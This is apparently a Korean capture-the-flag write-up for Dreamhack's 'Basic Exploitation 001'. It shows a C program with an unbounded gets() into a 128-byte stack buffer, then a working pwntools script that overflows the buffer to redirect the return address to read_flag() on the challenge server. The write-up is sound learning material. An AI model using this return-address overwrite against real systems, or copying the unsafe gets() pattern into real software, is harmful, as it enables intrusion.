Dreamhack | Basic Exploitation 001
Dreamhack-Pwnable Basic Exploitation 001
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
환경 정보를 보면 NX가 활성화되어 있는 것을 알 수 있다. 그렇다는 것을 Shellcode를 대입하더라도 스택 영역에 실행 권한이 없어 Shellcode를 실행하지 못하고 종료하게 된다. 주어진 파일을 확인해보겠습니다.
문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
read_flag()함수가 flag를 읽어주는 함수로 되어 있다. 하지만 main에는 read_flag()를 실행할 곳이 없다. get()함수는 크기 상관없이 읽어드리기에 buf의 크기를 넘겨 RET에 read_flag() 위치를 대입하면 해결될 것으로 보인다.
buf[0x80] 위 빨간 네모칸을 통해서 총 128byte만큼 buf에 할당하고 그 위치를 gets()로 입력 받는다.
그리고 read_flag()의 함수 호출 위치를 알아낸다.
그렇다면 Buf(128byte) + SFP(4byte) + RET(read_flag()의 4byte)로 flag를 읽어올 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', 22987)
elf = ELF('./basic_exploitation_001')
read_flag = elf.symbols['read_flag'] # 0x80485b9
payload = b''
#dummy = b'\x90' * 128
SFP = b'S' * 4
payload += payload.ljust(128, b'\x90')
#payload += dummy
payload += SFP
payload += p32(read_flag)
p.sendline(payload)
p.interactive()
이전 문제보다는 더욱 쉬운 느낌이였다. read_flag = elf.symbols['read_flag']처럼 직접 read_flag의 함수 주소를 명시하지 않고 pwntools를 이용해서 가져오는 것도 가능하다.